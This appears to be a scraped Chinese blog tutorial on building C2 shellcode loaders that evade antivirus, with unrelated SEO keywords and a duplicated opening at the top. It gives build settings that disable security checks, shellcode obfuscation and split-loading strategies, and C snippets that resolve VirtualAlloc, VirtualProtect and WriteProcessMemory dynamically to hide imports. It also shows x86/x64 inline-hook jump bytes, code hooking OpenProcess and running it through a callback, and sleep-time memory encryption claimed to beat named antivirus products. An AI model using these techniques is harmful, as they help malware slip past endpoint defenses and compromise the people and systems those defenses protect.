公司网站推广技巧,英文网站建设需要准备什么,aso优化费用,电脑学校培训#C2远控-ShellCode-认知环境
1.创建工程时关闭SDL检查
2.属性-C/C-代码生成-运行库-多线程 (/MT)如果是debug则设置成MTD
3.属性-C/C-代码生成-禁用安全检查GS
4.关闭生成清单 属性-链接器-清单文件-生成清单 选择否 #C2远控…#C2远控-ShellCode-认知环境
1.创建工程时关闭SDL检查
2.属性-C/C-代码生成-运行库-多线程 (/MT)如果是debug则设置成MTD
3.属性-C/C-代码生成-禁用安全检查GS
4.关闭生成清单 属性-链接器-清单文件-生成清单 选择否 #C2远控-ShellCode-分析提取
ShellCode的本质其实就是一段可以自主运行的代码。
它没有任何文件结构它不依赖任何编译环境无法像exe一样双击运行
因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。 目的杀毒和感知平台如何定性
分析ODxdbida
提取010Editor
加载各种Loader方法执行
流程ShellCode-Loader-EXE
思路
1、Shellcode自写打乱-让杀毒不认识
2、Shellcode加密混淆-让杀毒不知道
3、Shellcode分离隐藏-让杀毒找不到
4、Shellcode注入回调-让杀毒绕圈圈 内存免杀是将shellcode直接加载进内存由于没有文件落地因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好在申请内存时一般采用渐进式申请一块可读写内存在运行时改为可执行在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度把shellcode从放在程序转移到加载进内存把整块的ShellCode通过分块传输的方法上传然后再拼接这些体现了基本的分离思想。 补充
编辑器设置 VS
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
编译器差异 G GCC
https://blog.csdn.net/weixin_41012767/article/details/129365597 突破内存扫描
项目参考https://github.com/wangfly-me/LoaderFly ➢ C2远控-Loader加载器-动态API
-绕过杀毒对导入表的检测定性
例动态调用VirtualProtect
typedef BOOL(WINAPI* vp)(
LPVOID Address,
DWORD size,
DWORD New,
PDWORD Old
);
vp vip (vp)GetProcAddress(
GetModuleHandleA(Kernel32.dll),
VirtualProtect
);
演示对回调loader进行某函数动态API加载
typedef LPVOID(WINAPI* VAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
VAlloc VAlloc (VAlloc)GetProcAddress( GetModuleHandleA(Kernel32.dll), VirtualAlloc
); ➢ C2远控-Loader加载器-InlineHook
-绕过杀毒对内存扫描检测定性 InlineHook又称为内联Hook是一种强大而又灵活的Hook技术。
Inline Hook的主要思想就是直接修改目标函数的代码
通常是在目标函数的开头插入一个跳转指令jmp。
这个跳转指令会将程序的执行流跳转到我们自定义的函数中。 实现方式
X86
// 方式一使用jmp相对地址跳转
jmp 相对地址 ; E9 相对地址 // 方式二使用寄存器jmp绝对地址跳转
mov eax, 绝对地址 ; B8 绝对地址
jmp eax ; FF E0 // 方式三使用push ret绝对地址跳转
push 绝对地址 ; 68 绝对地址
ret ; C3 X64
// 方式二使用寄存器jmp绝对地址跳转
mov r12, 绝对地址 ; 49 BC 绝对地址
jmp r12 ; 41 FF E4 // 方式三使用push ret绝对地址跳转
mov r12, 绝对地址 ; 49 BC 绝对地址
push r12 ; 41 54 绝对地址
ret ; C3 注意事项
1.E9方式替换5个字节B8方式替换7个字节。
2.原函数的内存保护属性在代码替换后要进行恢复不然可能导致hook不成功。
3.保证原函数可正常运行需在hook执行目标函数中执行原函数并把返回值进行返回。
4.为了保证下次原函数被调用时继续执行hook所以在执行完原函数后再次进行替换使得下次原函数被调用时再次进入hook函数。 拓展技术
API hook大致有以下几种方式
1、Inline hook应用层的注入hook通过在内存中找到想要hook函数地址并在其之前加入自己构造的跳转指令当被hook位置执行时便可以跳转到hook使用者自己编写的执行代码在其执行完毕后还原被修改的字节接着执行正常流程。
2、IAT hook导入表hook通过修改导入表中某函数的地址到自己补丁函数来实现。
3、SSDT hook内核层的hook技术通过修改系统服务表中某个服务函数的地址到自己的补丁函数来实现。
4、IRP hook内核层的hook技术通过修改IRP结构体中某个成员变量指向自己的补丁函数来实现。 例子
SetHook-MessageBoxA-MyMessageBoxA ➢ C2远控-DF-动态调用InlineHook混淆 1、动态调用
typedef BOOL(WINAPI* Write)(
HANDLE hprocess,
LPVOID BaseAddr,
LPCVOID BUffer,
SIZE_T Size,
SIZE_T* NumberOfBytes
);
Write Writer (Write)GetProcAddress(
GetModuleHandleA(Kernel32.dll),
WriteProcessMemory
);
typedef BOOL(WINAPI* vp)(
LPVOID Address,
DWORD size,
DWORD New,
PDWORD Old
);
vp vip (vp)GetProcAddress(
GetModuleHandleA(Kernel32.dll),
VirtualProtect
);
2、InlineHook
-OpenProcess函数进行InlineHook
//这里是获取我们需要hook的api的地址我们这里是hook OpenProcess这个api
hookFunc GetProcAddress(GetModuleHandleA(Kernel32.dll), OpenProcess);
//这里构建jmp指令
Newbyte[0] \xE9;
//这里加1是为了不把jmp给覆盖然后把偏移地址赋值到NewByte中
*(DWORD*)(Newbyte 1) (DWORD)FuncAddr - (DWORD)hookFunc - 5;
//这里就是把定义好的跳转指令写入到我们需要hook的api的前5个字节中
Writer(GetCurrentProcess(), hookFunc, Newbyte, 5, d);
//这个api作用是利用第一个参数回调函数来执行我们修改了前5个字节的api
EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)hookFunc, LGRPID_INSTALLED, NULL); ➢ C2远控-卡巴-动态调用InlineHook沙箱
一种规避杀软检测的技术就是内存加密技术。由于杀软并不是一直扫描内存而是间隙性的扫描敏感内存因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密在休眠结束时再将内存解密来规避杀软内存扫描达到免杀的目的。基于以上原理结合想法进行了实现成功实现动态免杀火绒、360、defender、卡巴等
参考https://mp.weixin.qq.com/s/nD7RLhPpBC9Gqg_c1glNzQ